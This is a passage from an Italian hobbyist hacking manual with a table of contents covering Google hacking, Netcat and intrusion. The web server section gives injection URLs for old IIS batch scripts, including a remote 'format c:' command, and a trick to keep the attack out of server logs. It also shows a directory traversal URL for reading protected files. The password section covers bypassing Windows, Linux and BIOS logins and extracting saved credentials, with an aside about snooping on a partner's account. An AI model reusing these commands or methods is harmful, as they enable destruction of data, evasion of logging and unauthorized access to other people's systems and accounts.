E` molto facile da scoprire se un server utilizzi tali file, in quanto basta dare un'occhiata alle pagine Web di un sito (e magari al loro listato) per scoprire se vi
sono riferimenti ad essi.Ovviamente il trucco funziona solo con i server sopra elencati (per Windows)e con pochissimi altri. Inoltre le nuove versioni hanno
corretto questo problema. Il "bug" (errore) in questo caso risiede nella gestione
dei files batch.Come vediamo, aggiungendo ?& al nome del file e poi scrivendo i
comandi da eseguire, il server credera` di stare eseguendo ancora il file batch e in
realta` fara` ben altro... nel nostro caso, il comando codificato e` il
seguente: dir c:\ /s (dove / e` stato sostituito con il suo codice, %5C).
Avremo quindi come risultato di tale comando l'elenco completo di *tutte* le
directory e i file presenti sul server (utile per sapere dove mettere le mani se cerchiamo qualcosa in particolare o vogliamo modificare qualcosa).
Quelle descritte non sono vere e proprie tecniche hacker: sono degli exploit
per poter sfruttare i problemi di sicurezza conosciuti a nostro vantaggio.
TECNICHE DI BASE: I WEB SERVER - PARTE 2
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Come abbiamo visto, molti server Web per Windows (come Microsoft IIS oppure Windows NT server) possono essere utilizzati per eseguire comandi arbitrari
utilizzando lo schema seguente:
[URL].../nomescript.bat?&comando_1+comando_2+...+comando_N
E` bene notare che i server Web registrano in uno o piu` file (detti "log") tutte le
operazioni effettuate, e quindi nel caso utilizzassimo l'hack sopra descritto esso
verrebbe senza dubbio registrato, insieme al nostro IP Address e ad altre informazioni.
Per evitarlo, possiamo fare due cose. Una possibilita` e` aggiungere alla fine dell'URL contenente i nostri comandi, il comando "time" oppure "date",
in questo modo:
http://www.sito.com/cgibin/prova.bat?&echo+S+%7C+format+c%3A+%2Fu+time
Procediamo ora con la spiegazione di questo URL. Il comando eseguito e`:
112
echo S | format c: /u
seguito dal comando "time", che vedremo dopo. Il comando "format c:" come
sappiamo serve a formattare un disco, in questo caso l'hard disk "C", mentre
"/u" indica a "format" di procedere con una formattazione incondizionata,
cioe` senza salvare i dati presenti sul disco... ma "format", una volta
eseguito, chiede all'utente di premere un tasto: S (si) oppure N (no), e
non fara` nient'altro fino a che non avra` uno dei due input.
Per ovviare all'inconveniente, non potendo noi digitare "S" sulla tastiera
del computer che vogliamo hackerare, utilizziamo "echo S" seguito da "|".
In pratica "|" (detto "pipe") serve ad inviare l'output del comando "echo"
(il carattere "S") al comando successivo (format), simulando la pressione del
tasto. Abbiamo cosi` risolto il problema.
Una funzione non documentata del comando format e` l'opzione "/autotest".
Tale opzione corrisponde in pratica alla riga di comando sopra descritta,
e quindi potremo (solo nel caso di format) fare a meno di echo, pipe e "/u"
scrivendo "format c: /autotest" (NON scrivetelo sul vostro computer).
L'hard disk verra` formattato senza chiedere alcunche` all'utente.
Ma ora torniamo al comando time (oppure date). Perche` l'abbiamo aggiunto?
I server registrano le operazioni nei log solo DOPO che tali operazioni siano
state effettivamente eseguite. Ad esempio, quando un URL viene "chiamato" e
abbiamo ricevuto il contenuto della pagina ad esso associata.
Per impedire al server di terminare l'operazione (e quindi di registrare
l'URL hackerato e il nostro IP nel file di log) usiamo quindi time o date.
Come sappiamo questi due comandi non fanno altro che cambiare ora o data, e
a tale scopo chiedono all'utente il nuovo valore (l'orario, nel caso di time)
all'utente. Ma dal momento che il server non sa rispondere ai comandi ;)
la loro esecuzione non potra` essere completata, il log non verra` scritto
e noi avremo ottenuto quello che volevamo... segretezza :)
Vi ho detto pero` che esistono DUE modi. Ecco il secondo: esistono su Internet
molti server proxy che garantiscono l’anonimato
Tornando ai problemi di sicurezza...
Un altro bug di IIS e` il seguente: aggiungendo uno (o una coppia) di punti
alla fine di un file script, anziche` essere eseguito, il contenuto del file
verra` visualizzato sullo schermo del vostro browser. Un altro bug simile
permette di visualizzare file "segreti" (come pagine protette da password,
documenti che non dovrebbero poter essere visualizzati in quanto "interni"
e qualsiasi altro file presente sull'hard disk del server), in questo modo:
http://www.sito.com/..\..\..\..\qui_va_il_percorso\nome_del_file
113
TABELLA CODICI ASCII
114
RECUPERO PASSWORD
Trinity Rescue Kit.
In pratica altro non è che una distribuzione Linux gratuita progettata esclusivamente per le operazioni di ripristino su macchine Windows o Linux, basata interamente su linea di comando, eccezion fatta per alcuni strumenti come
qtparted, links, Partition Image e Midnight Commander.
Potete bootare TRK seguendo 3 strade:
•
•
Come CD di Boot che potete masterizzare dal file ISO scaricabile.
Da una periferica USB esterna
•
Dalla rete tramite Preboot Execution Environment (PXE), modificando
alcune impostazioni di rete.
Il metodo più semplice e sbrigativo è il primo, utilizzando un CD di boot che sarebbe sempre bene tenere a portata di mano. Vediamo come procedere:
Una volta avviato il computer e inserito il cd sarete accolti dal messaggio
“Welcome to Trinity” che indica che la procedura è andata a buon fine.
A questo punto dovete utilizzare il comando winpass -l che vi mostrerà tutti gli
username del sistema.
Il comando winpass -u (seguito dal nome utente di cui si desidera resettare la
password es: winpass -u mario) vi darà accesso ad una serie di opzioni, prima di
procedere assicuratevi di aver premuto il tasto N alla richiesta di disattivazioni
del Syskey
Adesso vi troverete di fronte 3 possibilità.
1.
2.
3.
Rimuovere la password per l’utente selezionato
Impostare una nuova password
Rendere l’utente selezionato amministratore del sistema
Scegliete l’opzione che più vi aggrada per accedere nuovamente al vostro
account Windows.
Ricordate che avete sempre a che fare con una distribuzione Linux, quindi qualunque operazione vogliate effettuare prestate attenzioni ai nomi dei Drive, che
non saranno come in Windows C, D, E etc ma HDA, HDB, HDC seguiti dal numero della partizione.
Ad esempio HDA1 indica la prima partizione del primo Hard Disk, che di solito
è il percorso in cui è installato Windows, mentre HDC2 indica la seconda partizione sul terzo Hard Disk.
115
Windows XP: come resettare le password con il disco d’installazione del sistema
1.
2.
3.
4.
5.
6.
7.
8.
Effettuare il boot dal disco d’installazione di XP;
Premere il tasto F8 per accettare le condizioni di utilizzo del sistema;
Scegliere l’opzione relativa al ripristino del sistema;
Premere il tasto R per avviare il processo di riparazione del sistema;
Attendere il riavvio del computer;
Al ritorno nella fase d’installazione di Windows XP, premere la combinazione di tasti Shift+F10 non appena viene visualizzata la scritta
“Installazione dispositivi” nella parte bassa dello schermo;
Attendere che compaia il prompt dei comandi;
Digitare il comando nusmgr.cpl e premere il tasto Invio.
A questo punto, si aprirà il pannello di controllo degli account utente.
Da quest’ultimo, potrete resettare le password di Windows XP nella
maniera più semplice e veloce di questo mondo.
Windows 7 o Vista: come resettare le password con il disco d’installazione
del sistema
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
116
Effettuare il boot dal disco d’installazione ;
Proseguiamo nelle schermate come se dovessimo installare windows
Clicchiamo sulla voce ripristina il computer
Clicchiamo sull’opzione Prompt dei comandi e digitiamo Regedit invio
Selezioniamo HKEY_LOCAL_MACHINE
Andiamo in File e clicchiamo su Carica hive
Andiamo in C:\Windows\System32\config selezioniamo il file
SYSTEM e apri
Diamo alla nuova chiave un nome qualsiasi (esempio reset)
Selezioniamo ora HKEY_LOCAL_MACHINE\reset\setup
Clicchiamo due volte sulla chiave SetupType e assegniamo 2
Clicchiamo due volte sulla chiave cmdLine e assegniamogli il valore
cmd.exe
Selezioniamo la chiave HKEY_LOCAL_MACHINE\reset\ andiamo
nel menù File e clicchiamo su Scarica hive.
Torniamo alla finestra degli strumenti di recupero di windows e Riavvia.
Al riavvio viene mostrato il Prompt dei comandi. Digitiamo net user
seguito dal nome utente e dalla password da impostare (es. net user
Giovanni pluto). Se il nome utente è composto da più parole va racchiuso tra “ “. Invio, digitiamo exit Invio
Guida: Linux, come resettare le password
Le cause che portano un qualsiasi utente a dimenticare la password, utile ad
accedere al sistema operativo del proprio PC, possono essere molteplici: installazione frettolosa del SO (associata magari all’inserimento di una password a
casaccio), perdita di appunti ad essa relativi, vuoto di memoria, e tante altre.
Il problema, ovviamente, non affligge solo gli utenti Windows, ma anche tutti
quelli che prediligono altri sistemi, ad esempio Linux, per il quale esiste una
procedura estremamente semplice che consente di resettare le password. Infatti,
basta avviare la propria distro in modalità singolo utente, seguendo una delle
procedure che trovate qui sotto, ed il gioco è fatto. Provare per credere!
Metodo 1:
1.
2.
3.
Riavviare il computer;
Premere il tasto ESC mentre GRUB si carica;
Selezionare la voce recovery mode, per poi premere il tasto B della tastiera ed accedere in modalità singolo utente.
Metodo 2:
1.
2.
3.
4.
Evidenziare l’opzione relativa al normale boot della distro Linux in utilizzo, per poi premere il tasto E della tastiera e modificarla;
Evidenziare la riga che inizia con kernel, per poi premere il tasto E della tastiera e modificarla;
Alla fine della riga, aggiungere il valore single;
Premere prima il tasto return della tastiera (per salvare le modifiche effettuate) e poi quello B (per effettuare il boot).
A questo punto, una volta entrati nel sistema, non occorrerà fare altro che sfruttare il comando passwd (oppure passwd nome utente, se la parola chiave persa
non riguarda l’utente root) dal terminale e riavviare la macchina per salvare le
modifiche effettuate.
In fondo, resettare le password di Linux è un vero giochetto da ragazzi, non
trovate?
Come resettare o scoprire la password del BIOS
A volte può essere necessario resettare la password del BIOS. Ad esempio, il
primo che mi viene in mente, quando si vuole reinstallare Windows ed è necessario reimpostare le priorità di boot. Il metodo, secondo me, più semplice per resettare questa password è quello di togliere il cavo che collega l’alimentatore
alla corrente e rimuovere per 30 minuti la batteria dalla scheda madre.
117
Ma se non abbiamo la possibilità di accedere al hardware del computer esistono
varie soluzioni software. Forse il tool più popolare per decriptare la password
del BIOS è CmosPwd.
Utilizzando CmosPwd, in pochi istanti potremo rimuovere la password direttamente dal prompt dei comandi. Al termine dell’operazione, il BIOS sarà accessibile anche senza dover inserire alcuna parola chiave. Ecco come fare.
1. AVVERTENZE: Nel caso il nostro Antivirus rilevasse l’utility come programma indesiderato, ignoriamo l’avviso e proseguiamo con lo scaricamento.
2. Procediamo con lo scaricamento dell’archivio compresso cmospwd.zip.
Scompattiamo il contenuto del file nella directory C:\ del nostro disco rigido.
3. Accediamo al menu Start/Programmi/Accessori e clicchiamo sulla voce
Prompt dei comandi, (o semplicemente start/esegui/cmd/OK). Una volta aperta
la finestra della shell di DOS, al prompt non dobbiamo fare altro che digitare con
attenzione il comando cd c:\cmospwd-5.0\windows\, quindi premiamo Invio.
4. Digitiamo ioperm –i e premiamo Invio. Adesso scriviamo il comando
cmospwd_win /k e premiamo nuovamente Invio, scegliamo la seconda opzione
premendo 2, quindi nuovamente Invio. Per uscire non dobbiamo fare altro che
premere 0. Il dado è tratto: riavviamo il computer.
Questo funziona egregiamente con i seguenti BIOS: ACER/IBM BIOS, AMI
BIOS, AMI WinBIOS 2.5, Award 4.5x/4.6x/6.0, Compaq (1992), Compaq (nuove versioni), IBM (PS/2, Activa, Thinkpad), Packard Bell, Phoenix 1.00.09.AC0
(1994), a486 1.03, 1.04, 1.10 A03, 4.05 rev 1.02.943, 4.06 rev 1.13.1107, Phoenix 4 release 6 (User), Gateway Solo – Phoenix 4.0 versione 6, Toshiba e Zenith
AMI.
Con il tool !BIOS (BIOS320)
Aprire una finestra DOS con i diritti di amministratore e spostarsi nella cartella
in cui è salvato il file BIOS320.EXE e avviarlo. Spostarsi in Crackers, selezionare il bios della motherboard e fare Invio.
La master password
Molti produttori inseriscono nel Bios una password (Master Password) che consente ai tecnici di entrare bypassando quella inserita dai vari utenti. Su Internet ci sono diversi siti che mettono a disposizione
l'elenco di quelle conosciute come ad esempio www.xs4all.nl/-matrix/mpwlist.html.
118
Come cambiare la password di un utente tramite linea di comando in
Windows
Siete degli amministratori di Windows con più account? Vi siete dimenticati la
password di uno di questi account? Se avete i poteri da amministratore potete
cambiare la password dalla linea di comando. Per aprirla innanzitutto clicchiamo su Start-Esegui-digitiamo cmd e premiamo enter.
Nella schermata della shell, scriviamo net user, avremo cosi una lista di tutti gli
account Windows presenti nel computer. Cambiare la password è veramente
semplice, poniamo che l’account del quale vogliamo resettare la password si
chiama Geek (un nome a caso) e la password che vogliamo impostare è geekissimo, basterà semplicemente inserire questo comando: net user geek geekissimo e premere enter, avremo il messaggio che l’operazione è stata effettuata con
successo, se appunto tutto è andato per il meglio. Ora la nuova password è attiva e possiamo di nuovo loggarci nel nostro account. Magari non di questo trucchetto non sarà felice la nostra ragazza, dato che adesso possiamo spulciare per
bene il suo account, però almeno andremo a letto più o meno tranquilli. Personalmente penso che questo trucchetto renda praticamente inutile la divisone del
pc in account con tanto di password per la privacy.
Collegarsi a Windows automaticamente senza dover scegliere utente e immettere password
Oggi vedremo come fare in modo che su di un pc con Windows XP installato e
diversi account, all’avvio il SO sappia già a quale utente collegarsi, senza costringerci ad essere presenti quando si avvia il computer. Windows XP effettua automaticamente il log sul desktop se è presente solamente un utente, non
protetto da password.
Ma spesso anche per utilizzare alcune applicazioni è necessario aggiungere ulteriori account, in questo modo però all’avvio sarà mostrato un box dove scegliere
con quale utente collegarsi a Windows. Come detto con un paio di passaggi vi
farò vedere come automatizzare questa schermata in modo che Windows sappia già a quale account collegarsi. Ovviamente attivando questo trick tutti potranno accedere a Windows con tanti saluti alla nostra privacy, ergo sconsiglio di utilizzare questo metodo su pc che possono essere utilizzati da persone
non fidate. Ma adesso vediamo cosa fare.
Innanzitutto premiamo WIN+R per avviare Esegui. Qui scriviamo control userpasswords2 e diamo l’Ok. Assicuriamoci che la casella “Per utilizzare questo
computer è necessario che l’utente immetta il nome e la password” sia senza
spunta, e clicchiamo su Applica. Apparirà una finestra nella quale dovremo inserire la password del Amministratore, che solitamente consiste nel lasciare lo
spazio bianco. Ovviamente se vogliamo potremo cambiare l’account con il
quale collegarci. Diamo l’Ok due volte. Et voilà d’ora in avanti Windows si
collegherà da solo.
119
Password online: forum
Alcuni siti o forum richiedono, per accedere, una registrazione o una autenticazione con password. Una soluzione è visitare il sito http://bumenot.com e, inserendo l’URL del sito viene presentato un elenco di login e password
CON LA POSTA EI CLIENT VOIP BASTA POCO
Grazie ad alcuni tool possiarrw recuperare facilmente le passwprd degli account
di posta memorizzati sul PC,del programma di messaggistica e quelle utilizzate
per loggarci ai servizi Web salvate sul browser.
NON SOLO OUTLOOK
Le password degli account di posta elettronica configurati sui vari client
sono celate attraverso i soliti asterischi e diventa impossibile leggerle. Con
Mail PassView però basta dawero poco per recuperarle. Basta scompattare
l'archivio compresso sul PC e fare doppio clic sul file mailpv.exe. Riesce a recuperare le password degli account di Outlook e molti altri.
MESSAGGISTICA
Con MessenPass è possibile risalire alla user e alla password di programmi di
messaggistica come: Windows Messenger, Yahoo Messenger, Windows Live
Messenger, Google Talk, ICQ Lite, AOL Instant Messenger, AIM, AIM
Pro,Trillian, Trillian Astra, Miranda, GAIM/Pidgin, MySpace IM, PaltalkScene ,
Digsby.
PASSWORD NEL BROWSER
Per comodità molti preferiscono memorizzare le password nel browser
per non doverle reinserire ogni volta. Se, però, si deve riformattare il PC
o si vuole semplicemente utilizzare un altro computer, può anche capitare di
non ricordarsele più. Se utilizziamo Firefox basta ricorrere al programma PasswordFox. Mentre per Internet Explorer InternetExplorerPasswordRecovery.
Basta installare il programma e avviarlo.
Per Google Crome CromePasswordDecryptor mentre OperaPasswordDecryptor per Opera. Attenti all’antivirus!
ASTERISCHI
Asterisk Key Basta avviarlo e, quando il campo con la password nascosta è visualizzato, premere il link recover.
Password WinRar con WinRarPasswordRecovery
PER WORD ED EXCEL
Se abbiamo un file di Word o Excel protetto con una password, possiamo provare a recuperarla col tool Free Word / Excel Password Recovery wizard. Basta
120
fare doppio clic sul file d'installazione. Occorre aver installato sul computer il
componente .NETframework.
Selezioniamo il file
Dopo aver awiato Free Word / Excel Password Recovery wizard, spostiamoci
nel tab Select file e premiamo su Select a file. L'applicazione supporta i file di tipo Doc e Xls: per altri tipi le soluzioni sono solo a pagamento. Selezioniamo,
quindi, il documento da aprire e premiamo su Next.
Proviamo col dizionario
II primo tentativo consiste nel ricorrere a un dizionario di termini. Il programma
ne carica uno nella directory d'installazione che solitamente è
C:\Program File(x86)\www.freewordexcelpassword.corrAFree Word Excel
Password Wizard\dictionary.txt. Premiamo, quindi, su Go
Usiamo la forza
Se il metodo col dizionario non funziona, si passa alla modalità Brute force recovery. Innanzitutto selezioniamo i caratteri che fanno parte della password. Impostiamo, quindi, il numero di caratteri di cui dovrebbe essere composta e premiamo su Go.
La modalità Brute forte potrebbe impiegare v anche diversi minuti ma è quella
che fornisce i risultati migliori. Quando la password è rilevata, si apre una piccola finestra che ce la mostra in bella vista. Possiamo, quindi, annotarla per poi usarla per aprire il nostro file in Word o Excel.
La chiave per i file compressi
Con i file compressi protetti da password si ricorre a soluzioni commerciali come
Advanced Archive Password Recovery (www.elcomsoft.com). Questo programma è in grado di rilevare le password sia dei file zip sia di quelli rar. È semplice da usare e si può provarlo in versione demo.
Sblocchiamo i PDF
Per rimuoverle le protezioni dei PDF si può provare Freeware PDF unlocker. Per
funzionare in Windows Vista/7 si deve aprire il file un-lockpdf.cmd presente nella cartella d'installazione e modificare la riga -sOutputFile=%tt%_noPW. pdf"
con -sOutputFile="%tt%_noPW.pdf".
Trascina e sblocca
Trascinare il PDF sull'icona PDF unlocker,drop PDF files here presente sul
desktop. Sarà creato un secondo file senza restrizioni. Freeware PDF unlocker
funziona su sistemi a 32 bit. Se non funziona, ci sono soluzioni commerciali come Advanced PDF Password Recovery.
ADDIO A FACEBOOK: iscriversi è facile, sparire senza lasciare tracce è più
difficile. Dopo aver eliminato manualmente messaggi, fotografie e tutti i dati,
andiamo sul link
www.facebook.com/help/contact.php?show_forum=delete_account e premia-
mo il pulsante invia. Inseriamo la password. L’account sarà eliminato entro 14gg se non eseguiamo accessi.
121
Protect Me!, Nascondi Files in Eseguibili
Protect Me! è un programma eseguibile per windows che riesce a nascondere
files di qualsiasi tipo in eseguibili, li protegge con password e li cifra.
Tramite Protect Me! è possibile per tutti nascondere ad occhi indiscreti
qualsiasi file all'interno di un'altro file crittografato e protetto da password,
senza la quale ovviamente i files non si vedranno.
Protect Me! è anche un programma con un livello buono di sicurezza, infatti
non solo i dati contenuti nell'archivio sono protetti tramite crittografia AES
ma anche la password per essere convalidata è protetta a sua volta dall'algoritmo SHA1.
Crittografia, password, sicurezza, non solo, Protect Me! è anche estremamente
semplice da usare, basta scaricare il programma, estrarre l'archivio, eseguirlo,
trascinare i files che si vuole proteggere all'interno della finestra, digitare la
password che permetterà di aprire il file che contiene gl'altri files e premere
"Create Container".
Se si vuole camuffare ulteriormente il file contenitore è anche possibile specificare una qualsiasi icona nel formato .ICO che questo dovrà avere.
122
INDICE
1 Ricerche con Google: gli operatori
10 Google oltre ogni limite
19 GOOGLE HAKING
Stringhe di ricerca da copiare e incollare nella mascherina di Google
TROVA PARENT DIRECTORY TROVA PASSWORD E USERMAME
20 TROVA MUSICA TROVA VIDEO O FILMATI TROVA WEBCAM
21 HACKER CON GOOGLE:le stringhe segrete
22 Password e username
24 Dati personali e documenti confidenziali
26 Siti vulnerabili
27 Stampanti e videocamere
28 Documenti, file MP3 e filmati in Divx
29 RICERCA CRACK
30Google Hacking
44 Scaricare video
47 Freegate per vedere justin.tv il calcio e il grande fratello senza limiti.
50 Tecniche per introdursi in una rete
51 Risalire all’indirizzo Ip di un’email
53 NsLookup
57 Gli strumenti di Traceroute e di Whois.
65 Telnet
70 Telnet per spedire la posta in pratica
77 NASCONDERE IP
81 Netcat
92 La lettura degli header
110 MAILBOX USA E GETTA
111 Sicurezza server web Tecniche di base parte 1°
112 Sicurezza server web Tecniche di base parte 2°
114 Codice ascii
115 RECUPERO PASSWORD
Password di windows (XP, Seven) con TRK
Password di windows con CD installazione
Password di Linux
Password del Bios
Cambiare password utente da linea di comando
Saltare il Login
Ottenere password accesso Forum on-line
Password Client di posta e messaggistica
Password memorizzate nel browser
Password WinRar
Password excel, word e PDF
122 Protect Me!, Nascondi Files in Eseguibili
123
124